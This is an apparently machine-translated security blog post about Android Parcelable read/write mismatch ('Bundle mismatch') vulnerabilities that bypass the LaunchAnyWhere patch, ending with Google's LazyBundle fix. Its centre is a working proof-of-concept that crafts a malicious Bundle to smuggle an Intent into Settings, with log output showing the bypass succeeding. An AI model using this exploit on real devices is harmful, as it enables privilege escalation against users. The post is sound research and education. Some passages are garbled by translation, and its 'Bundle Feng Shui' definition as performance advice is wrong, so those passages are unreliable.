foreword
In 2023, well-known Internet manufacturers will continue to dig new Android- OEM
related vulnerabilities, App
and realize vulnerability attacks on mainstream mobile phone systems in the current market in their public releases.
The following descriptions are all from real cases that are happening on hundreds of millions of mobile phones at the moment. Relevant sensitive information has been processed.
The first hacking method used by the Internet manufacturer App
in Bundle 风水 - Android Parcel 序列化与反序列化不匹配系列漏洞
. 0day/Nday 攻击
abilityStartAnyWhere
.
Before reading this article, understand launchAnyWhere
the vulnerability and Bundle数据结构和反序列化
:
launchAnyWhere: Activity component permission bypass vulnerability analysis
Bundle data structure and deserialization analysis
What is Bundle Feng Shui
Bundle
Feng Shui ( Bundle Fengshui
) means that in Android
application development, Bundle
when using the class to transfer data, you need to pay attention to some optimization techniques to avoid performance problems in the process of transferring data.
Since Bundle
the class stores data based on key-value pairs and supports the transfer of multiple data types, you need to pay attention to the following aspects when using it:
Avoid using it when passing large amounts of data Bundle
: When you need to transfer large amounts of data, you should consider using other more efficient transfer methods, such as serialization, Parcelable
etc.
Try to avoid serialization and Parcelable
: Although serialization and Parcelable
can be used to pass complex objects, but their performance is low, should be avoided as much as possible.
Use appropriate data types: When using Bundle
to transfer data, you should use appropriate data types according to actual needs, such as using getInt()
instead of getLong()
etc.
Reasonable Bundle
use API
: Bundle
The class provides multiple API
, such as putXXX()
, , getXXX()
etc., which should be used according to actual needs API
.
Avoid using Bundle
Passing large amounts of data: Bundle
Classes may have performance issues when passing large amounts of data and should be avoided as much as possible.
In short, Bundle
Feng Shui means that when using Bundle
the class to transfer data, you need to pay attention to some optimization techniques to avoid performance problems during the transfer of data.
Related articles: Introducing Android's Safer Parcel - Black Hat
When a developer manipulates Parcel
an object and tries to read from or write data to it, a type of error can occur: the developer, for various reasons, may be too careless, have not considered good boundary conditions, or have an understanding of certain container Java
types There is an error, which leads to the fact that when processing the same Parcelable
object, the number of bytes read Parcel
from it is not equal to the number of bytes written to it, resulting in misalignment. This is Parcelable
the deserialization vulnerability. For example the following code:
public class MyClass implements Parcelable {
int a;
int b;
protected MyClass(Parcel in) {
a = in.readInt();
}
@Override
public void writeToParcel(Parcel dest, int flags) {
dest.writeInt(a);
dest.writeInt(b);
}
@Override
public int describeContents() {
return 0;
}
public static final Creator<MyClass> CREATOR = new Creator<MyClass>() {
@Override
public MyClass createFromParcel(Parcel in) {
return new MyClass(in);
}
@Override
public MyClass[] newArray(int size) {
return new MyClass[size];
}
};
}
Obviously, the developer only read 4 bytes when reading, but wrote 8 bytes when writing! This looks very stupid, it seems that no developer will write this kind of vulnerability, but in the actual code there may be much more complicated situations than this example, so that even Google developers will make mistakes, and even some loopholes I am in The first time I saw the code, I didn't find the problem, but it took a few hours to realize that there was a hidden read-write mismatch problem.
LaunchAnyWhere vulnerability code review
launchAnyWhere: Activity component permission bypass vulnerability analysis In this article, we only briefly describe this problem. It is in the process AccountManagerServic
of e AddAccount
. After system_server
receiving Bundle
the parameters, there is no inspection, and the fields Settings
inside are directly taken out KEY_INTENT(intent)
and the interface is started. This is A typical LaunchAnyWhere
vulnerability, Google
the fix at that time was also very simple. After selecting Zhongzhong to system_server
receive Bundle
it, try to take it out Intent
. If this field exists, check Intent
whether the parsed final calling component belongs to the original caller, thus avoiding the caller Settings
Launch any question as Activity
.
//android-28/com/android/server/accounts/AccountManagerService.java
public class AccountManagerService
extends IAccountManager.Stub
implements RegisteredServicesCacheListener<AuthenticatorDescription> {
/****部分代码省略****/
/** Session that will encrypt the KEY_ACCOUNT_SESSION_BUNDLE in result. */
private abstract class StartAccountSession extends Session {
/****部分代码省略****/
@Override
public void onResult(Bundle result) {
Bundle.setDefusable(result, true);
mNumResults++;
Intent intent = null;
//尝试从Bundle对象中取出KEY_INTENT
if (result != null
&& (intent = result.getParcelable(AccountManager.KEY_INTENT)) != null) {
//对KEY_INTENT进行校验
if (!checkKeyIntent(
Binder.getCallingUid(),
intent)) {
onError(AccountManager.ERROR_CODE_INVALID_RESPONSE,
"invalid intent in bundle returned");
return;
}
}
/****部分代码省略****/
sendResponse(response, result);
}
}
private void sendResponse(IAccountManagerResponse response, Bundle result) {
try {
response.onResult(result);
} catch (RemoteException e) {
// if the caller is dead then there is no one to care about remote
// exceptions
if (Log.isLoggable(TAG, Log.VERBOSE)) {
Log.v(TAG, "failure while notifying response", e);
}
}
}
private abstract class Session extends IAccountAuthenticatorResponse.Stub
implements IBinder.DeathRecipient, ServiceConnection {
/**
* Checks Intents, supplied via KEY_INTENT, to make sure that they don't violate our
* security policy.
*
* In particular we want to make sure that the Authenticator doesn't try to trick users
* into launching arbitrary intents on the device via by tricking to click authenticator
* supplied entries in the system Settings app.
*/
protected boolean checkKeyIntent(int authUid, Intent intent) {
intent.setFlags(intent.getFlags() & ~(Intent.FLAG_GRANT_READ_URI_PERMISSION
| Intent.FLAG_GRANT_WRITE_URI_PERMISSION
| Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
| Intent.FLAG_GRANT_PREFIX_URI_PERMISSION));
long bid = Binder.clearCallingIdentity();
try {
PackageManager pm = mContext.getPackageManager();
//解析出Intent最终调用的Activity
ResolveInfo resolveInfo = pm.resolveActivityAsUser(intent, 0, mAccounts.userId);
if (resolveInfo == null) {
return false;
}
ActivityInfo targetActivityInfo = resolveInfo.activityInfo;
int targetUid = targetActivityInfo.applicationInfo.uid;
PackageManagerInternal pmi = LocalServices.getService(PackageManagerInternal.class);
// 判断是否是导出的System Activity或Activity所属应用是否和调用者同签名,满足其中之一则允许调用
if (!isExportedSystemActivity(targetActivityInfo)
&& !pmi.hasSignatureCapability(
targetUid, authUid,
PackageParser.SigningDetails.CertCapabilities.AUTH)) {
String pkgName = targetActivityInfo.packageName;
String activityName = targetActivityInfo.name;
String tmpl = "KEY_INTENT resolved to an Activity (%s) in a package (%s) that "
+ "does not share a signature with the supplying authenticator (%s).";
Log.e(TAG, String.format(tmpl, activityName, pkgName, mAccountType));
return false;
}
return true;
} finally {
Binder.restoreCallingIdentity(bid);
}
}
}
}
Settings
Intent
Call to send after receiving startActivityForResultAsUser
:
public class AddAccountSettings extends Activity {
/****部分代码省略****/
private final AccountManagerCallback<Bundle> mCallback = new AccountManagerCallback<Bundle>() {
@Override
public void run(AccountManagerFuture<Bundle> future) {
boolean done = true;
try {
Bundle bundle = future.getResult();
//bundle.keySet();
//获得KEY_INTENT
Intent intent = (Intent) bundle.get(AccountManager.KEY_INTENT);
if (intent != null) {
done = false;
Bundle addAccountOptions = new Bundle();
addAccountOptions.putParcelable(KEY_CALLER_IDENTITY, mPendingIntent);
addAccountOptions.putBoolean(EXTRA_HAS_MULTIPLE_USERS,
Utils.hasMultipleUsers(AddAccountSettings.this));
addAccountOptions.putParcelable(EXTRA_USER, mUserHandle);
intent.putExtras(addAccountOptions);
//启动KEY_INTENT代表的Activity
startActivityForResultAsUser(intent, ADD_ACCOUNT_REQUEST, mUserHandle);
} else {
setResult(RESULT_OK);
if (mPendingIntent != null) {
mPendingIntent.cancel();
mPendingIntent = null;
}
}
if (Log.isLoggable(TAG, Log.VERBOSE)) Log.v(TAG, "account added: " + bundle);
} catch (OperationCanceledException e) {
if (Log.isLoggable(TAG, Log.VERBOSE)) Log.v(TAG, "addAccount was canceled");
} catch (IOException e) {
if (Log.isLoggable(TAG, Log.VERBOSE)) Log.v(TAG, "addAccount failed: " + e);
} catch (AuthenticatorException e) {
if (Log.isLoggable(TAG, Log.VERBOSE)) Log.v(TAG, "addAccount failed: " + e);
} finally {
if (done) {
finish();
}
}
}
};
}
Parcelable
There was no problem with this patch at the time, but until 2017, some overseas researchers found in a malicious sample that deserialization could be used to bypass this patch, because Google's patch was system_server
checked in Intent
and passed AIDL
to Settings
Then start the interface, which crosses the process boundary, which also involves a serialization and deserialization process, then if we pass, Parcelable反序列化漏洞的字节错位
through the precise layout, we ca n't find this system_server
when checking , but it just happens after the misplacement It can be found, so that the patch can be bypassed and implemented again . The researchers named this exploit method as .Intent
Intent
Settings
LaunchAnyWhere
Bundle mismatch
Bundle mismatch, how to exploit Parcelable deserialization vulnerability
Knowing how Android
the framework Bundle
handles types, now we need to focus on how to develop an Bundle mismatch
exploit. Let's still take the above vulnerability as an example, and review our sample code:
public class MyClass implements Parcelable {
int a;
int b;
protected MyClass(Parcel in) {
a = in.readInt();
}
@Override
public void writeToParcel(Parcel dest, int flags) {
dest.writeInt(a);
dest.writeInt(b);
}
@Override
public int describeContents() {
return 0;
}
public static final Creator<MyClass> CREATOR = new Creator<MyClass>() {
@Override
public MyClass createFromParcel(Parcel in) {
return new MyClass(in);
}
@Override
public MyClass[] newArray(int size) {
return new MyClass[size];
}
};
}
In this example, the read is 4 bytes, and the write is 8 bytes. Then we consider the latter 4 bytes as the core of the entire utilization. According to the Bundle format parsing logic described above, when serializing After writing a 0, after reading 4 bytes next time, where will this 0 go?
The answer is that he must exist as the next one Bundle key
, key string
and readString
the beginning we know is to read one int
as the length of the string first. So there is an answer to the question, the 0 behind us will be considered as the length of a string, and it is a 0-length string. Note that it is not a null
string, because null
the length field of the string is -1
.
Now we know that in addition to this.b
the 0 written in front, the next 4 bytes will padding
exist, so how do we continue the layout later? Here we need to fill in another type field, which we choose here VAL_BYTEARRAY
, which is 13, and the length and content of the byte array need to be laid out later. This needs to be combined with the logic before the dislocation. After careful debugging, I give The answer is as follows (excluding the misplaced 0):
Construct a malicious Bundle
public Bundle makeBundle() {
Bundle bundle = new Bundle();
Parcel bndlData = Parcel.obtain();
Parcel exp = Parcel.obtain();
exp.writeInt(3); // bundle key count
//byte[] key1Name = {0x00};//第一个元素的key我们使用\x00,其hashcode为0,我们只要布局后续key的hashcode都大于0即可
//String mismatch = new String(key1Name);
String mismatch = "mismatch";//后续元素的hashcode必须大于mismatch的hashcode
exp.writeString(mismatch);
exp.writeInt(4); // VAL_PARCELABLE
exp.writeString("com.tzx.launchanywhere.MyClass"); // class name
// 这里按照错位前的逻辑开发,错位后在这个4字节之后会多出一个4字节的0
exp.writeInt(0);
/**********************恶意构造的内容start*********************************/
byte[] key2key = {
13, 0, 8};
String key2Name = new String(key2key);
// 在错位之后,多出的0作为了新的key的字符串长度,并且writeString带着的那个长度=3会正常填充上padding那个位置。使得后续读取的类型为VAL_BYTEARRAY(13),前面的0用于补上4字节的高位。而8则是字节数组的长度了。
//简单来说就是13和0这俩个字符的4个字节构成13这个数字,字符8和终止符这两个字符构成8这个数字。
exp.writeString(key2Name);//整体作为长度为3的key string
// 在错位之后,这里的13和下面的值是作为8字节的字节数组的一部分
exp.writeInt(13);//这里的13则也是巧妙地被解析成了VAL_BYTEARRAY(13)
int intentSizeOffset = exp.dataPosition();
// 在错位之后上面的13和这里的值就会作为8字节的字节数组,后续就会正常解析出intent元素了,就成功绕过补丁
int evilObject = -1;//这里应为字节数组的长度,我们填写为intent元素所占用的长度,即可将intent元素巧妙地隐藏到字节数组中(此值被Intent长度覆盖)
exp.writeInt(evilObject);
int intentStartOffset = exp.dataPosition();
/**********************恶意构造的内容end*********************************/
/**********************intent内容start*********************************/
exp.writeString(AccountManager.KEY_INTENT);
exp.writeInt(4);// VAL_PARCELABLE
//可以直接构造Intent放在exp中,此处为了显示构造过程,将Intent字段逐一放入exp中
//Intent intent = new Intent(Intent.ACTION_RUN);
//intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
//intent.setComponent(new ComponentName("com.android.settings", "com.android.settings.password.ChooseLockPassword"));
//exp.writeParcelable(intent, 0);
exp.writeString("android.content.Intent");// name of Class Loader
exp.writeString(Intent.ACTION_RUN); // Intent Action
Uri.writeToParcel(exp, null); // Uri is null
exp.writeString(null); // mType is null
//exp.writeString(null); // mIdentifier is null android28没有该字段
exp.writeInt(Intent.FLAG_ACTIVITY_NEW_TASK); // Flags
exp.writeString(null); // mPackage is null
exp.writeString("com.android.settings");
exp.writeString("com.android.settings.password.ChooseLockPassword");
exp.writeInt(0); //mSourceBounds = null
exp.writeInt(0); // mCategories = null
exp.writeInt(0); // mSelector = null
exp.writeInt(0); // mClipData = null
exp.writeInt(-2); // mContentUserHint
exp.writeBundle(null);
/**********************intent内容end*********************************/
int intentEndOffset = exp.dataPosition();
//将指针设置在intent数据之前,然后写入intent的大小
exp.setDataPosition(intentSizeOffset);
int intentSize = intentEndOffset - intentStartOffset;
exp.writeInt(intentSize);
Log.d("tanzhenxing33", "intentSize=" + intentSize);
//写完之后将指针重置回原来的位置
exp.setDataPosition(intentEndOffset);
// 最后一个元素在错位之前会被当成最后一个元素,错位之后就会被忽略,因为前面已经读取的元素数已经足够
String key3Name = "Padding-Key";
//String key3Name = "padding";//hashcode排序失败
exp.writeString(key3Name);
exp.writeInt(-1);//VAL_NULL
int length = exp.dataSize();
bndlData.writeInt(length);
bndlData.writeInt(0x4c444E42);//魔数
bndlData.appendFrom(exp, 0, length);//写入数据总长度
bndlData.setDataPosition(0);
Log.d("tanzhenxing33", "length=" + length);
bundle.readFromParcel(bndlData);
return bundle;
}
We Bundle
serialize and deserialize the arrival of the above code to check the sum type inside key
: Value
: is just
main
constructed ; : is the second arrival of a kernel transmission ;Bundle
Activity
TestBundleMismatchResultActivity
Activity
D/tanzhenxing33: intentSize=324
D/tanzhenxing33: length=480
D/tanzhenxing33: file =/storage/emulated/0/Android/data/com.tzx.launchanywhere/cache/obj.pcl
D/tanzhenxing33: MyClass:Parcel:100
D/tanzhenxing33: main key = mismatch com.tzx.launchanywhere.MyClass
D/tanzhenxing33: main key = � [B
D/tanzhenxing33: main key = Padding-Key NULL
D/tanzhenxing33: MyClass:writeToParcel
D/tanzhenxing33: onCreate:TestBundleMismatchResultActivity
D/tanzhenxing33: MyClass:Parcel:100
D/tanzhenxing33: TestBundleMismatchResultActivity key = mismatch com.tzx.launchanywhere.MyClass
D/tanzhenxing33: TestBundleMismatchResultActivity key = intent android.content.Intent
D/tanzhenxing33: TestBundleMismatchResultActivity key = [B
D/tanzhenxing33: result != null,Intent { act=android.intent.action.RUN flg=0x10000000 cmp=com.android.settings/.password.ChooseLockPassword }
You can see what was just constructed Bunlde
:
mismatch
Correspondinglykey
, itValue
iscom.tzx.launchanywhere. MyClass
the type;�
Correspondinglykey
, itValue
isByte
an array;Padding-Key
Correspondinglykey
, itValue
isNULL
;
Serialized and deserialized once Bundle
:
mismatch
Correspondinglykey
, itValue
iscom.tzx.launchanywhere. MyClass
the type;intent
Correspondinglykey
, itValue
isandroid.content.Intent
the type;- Corresponding to an empty string
key
, itValue
isByte
an array;
Bundle binary data analysis
In fact, the content described above is easier to understand through the changes in the Bundle binary data.
Before looking at binary data, let's talk about String's 4-byte alignment
4-byte alignment of String
In a computer, due to reasons such as hardware storage structure, the memory layout of many data types needs to be aligned, which also includes string types.
In a string, it is usually stored in bytes. In order to achieve optimal memory access performance, it is usually necessary to store each character of the string in a 4-byte memory address.
Therefore, when the length of the string is not a multiple of 4, an extra null byte will be added at the end of the string for padding to meet the requirement of 4-byte alignment. For example, if the string has a length of 5, a null byte is added at the end to make it 8, which satisfies the 4-byte alignment requirement.
It should be noted that this alignment operation will have a certain impact on memory usage, because for many short strings, the actual memory used may be longer than their length. Therefore, when processing a large amount of string data, you need to pay attention to the usage of memory to avoid problems such as insufficient memory.
Data in Parcel written to file
We Parcel
write the data in to a file for viewing:
private void writeByte(Parcel bndlData) {
try {
byte[] raw = bndlData.marshall();
File file = new File(getExternalCacheDir(), "obj.pcl");
if (file.exists()) {
file.delete();
} else {
file.createNewFile();
}
FileOutputStream fos = new FileOutputStream(file.getAbsolutePath());
fos.write(raw);
fos.close();
} catch (Exception e) {
e.printStackTrace();
}
}
view binaries
The written file is a binary file, we can od
view it with the command:
od -tx1 obj.pcl
It can also hexfiend
be viewed through tools, the download link is https://hexfiend.com/ .
Or view directly by vs cdoe
installing hex
the relevant plug-in.
Data Analysis Results
Constructed malicious
Bundle
data analysis results
The constructed malicious
Bundle
data is analyzed once through serialization and deserialization
Compared with the first Bundle
data analysis graph, we only need to pay attention to the data analysis results in the red box:
- After one serialization, one more 0
MyClass
is written ;int
- This 0 will be used as the length of the second
key
; - The previous
writeString
terminator and byte-aligned 4 bytes will be used as a name0
of lengthkey
; {13, 0, 8}
The first 4 bytes written before will be used as the length0
ofkey
the data type (VAL_BYTEARRAY
=13), and the following 8 and byte-aligned 4 bytes will be used asByteArray
the length of the length, and its value is equal to 8;- The length of the previously written (
VAL_BYTEARRAY
=13) andIntent
the length of these 8 bytes as the length0
of ;key
Value
- The length of the next read
key
is 6,key
and the name isintent
; - The last element will be ignored after misplacement, because the number of elements already read is enough;
Bug fixes
The repair of the above vulnerabilities seems to be very intuitive, just need to repair the mismatched reading and writing in MyClass
the class . But in fact this kind of vulnerability is not an isolated case. Historically, due to the carelessness of code writers, there have been many privilege escalation vulnerabilities caused by read-write mismatches, including but not limited to:
CVE-2017-0806 GateKeeperResponse
CVE-2017-0664 AccessibilityNodelnfo
CVE-2017-13288 PeriodicAdvertisingReport
CVE-2017-13289 ParcelableRttResults
CVE-2017-13286 OutputConfiguration
CVE-2017-13287 VerifyCredentialResponse
CVE-2017-13310 ViewPager’s SavedState
CVE-2017-13315 DcParamObject
CVE-2017-13312 ParcelableCasData
CVE-2017-13311 ProcessStats
CVE-2018-9431 OSUInfo
CVE-2018-9471 NanoAppFilter
CVE-2018-9474 MediaPlayerTrackInfo
CVE-2018-9522 StatsLogEventWrapper
CVE-2018-9523 Parcel.wnteMapInternal0
CVE-2021-0748 ParsingPackagelmpl
CVE-2021-0928 OutputConfiguration
CVE-2021-0685 ParsedIntentInfol
CVE-2021-0921 ParsingPackagelmpl
CVE-2021-0970 GpsNavigationMessage
CVE-2021-39676 AndroidFuture
CVE-2022-20135 GateKeeperResponse
…
Another fix idea is to fix TOCTOU
the vulnerability itself, that is, to ensure that the deserialization objects checked and used are the same, but this fix is only a temporary solution, not the root cause, and attackers may find other attack paths and bypass them.
Therefore, in order to completely solve this kind of endless problems, Google
a simple and crude slow-release solution is proposed, that is, start directly from Bundle
the class . Although Bundle
itself is ArrayMap
a structure, even if only one of them needs to be obtained during deserialization key
, the whole needs to Bundle
be deserialized again. The main reason for this is that the size of each element in the serialized data is not fixed and is determined by the type of the element. If you do not parse all the previous data, you will not know where the target element is.
To this 2021
end around , a project called AOSP
was Bundle
submitted . The main idea is that for some custom types with variable lengths, such as structures or containers such as , , , etc., the size of the corresponding data will be added to the header during serialization. In this way, when encountering these types of data during deserialization, you can selectively skip the parsing of these elements only by checking the header. At this time corresponding element in will be set to , and then when these values are actually used To deserialize specific data.LazyBundle(9ca6a5)
patch
Parcelable
Serializable
List
sMap
LazyValue
This patch
can alleviate Bundle 风水
the attack against to a certain extent, and it is also helpful in improving the robustness of the system, because even for damaged Parcel
data , if the receiver does not use the corresponding field, the exception can be avoided. For the previous Bundle
parsing strategy, even if only size
the method is called, it will trigger the parsing of all elements and cause an exception. A parameter patch
in this , if it is, each element will be parsed in the traditional way, otherwise the parsing of will be skipped.unparcel
boolean
itemwise
true
LazyValue
Those who are interested can read the patch
corresponding submission record, LazyBundle(9ca6a5)
The corresponding modification can also be seen in the Android13 source code: BaseBundle.java in android13
//android-33/android/os/Parcel.java
public final class Parcel {
/****部分代码省略****/
@Nullable
public Object readLazyValue(@Nullable ClassLoader loader) {
int start = dataPosition();
int type = readInt();
if (isLengthPrefixed(type)) {
int objectLength = readInt();
int end = MathUtils.addOrThrow(dataPosition(), objectLength);
int valueLength = end - start;
setDataPosition(end);
return new LazyValue(this, start, valueLength, type, loader);
} else {
return readValue(type, loader, /* clazz */ null);
}
}
public final void writeValue(@Nullable Object v) {
if (v instanceof LazyValue) {
LazyValue value = (LazyValue) v;
value.writeToParcel(this);
return;
}
int type = getValueType(v);
writeInt(type);
if (isLengthPrefixed(type)) {
// Length
int length = dataPosition();
writeInt(-1); // Placeholder
// Object
int start = dataPosition();
writeValue(type, v);
int end = dataPosition();
// Backpatch length
setDataPosition(length);
writeInt(end - start);
setDataPosition(end);
} else {
writeValue(type, v);
}
}
private boolean isLengthPrefixed(int type) {
// In general, we want custom types and containers of custom types to be length-prefixed,
// this allows clients (eg. Bundle) to skip their content during deserialization. The
// exception to this is Bundle, since Bundle is already length-prefixed and already copies
// the correspondent section of the parcel internally.
switch (type) {
case VAL_MAP:
case VAL_PARCELABLE:
case VAL_LIST:
case VAL_SPARSEARRAY:
case VAL_PARCELABLEARRAY:
case VAL_OBJECTARRAY:
case VAL_SERIALIZABLE:
return true;
default:
return false;
}
}
}
The article is all told here, if you have other needs to communicate, you can leave a message~!
Reference article:
Talk about Parcelable deserialization vulnerability and Bundle mismatch
Android Deserialization Vulnerability Attack and Defense History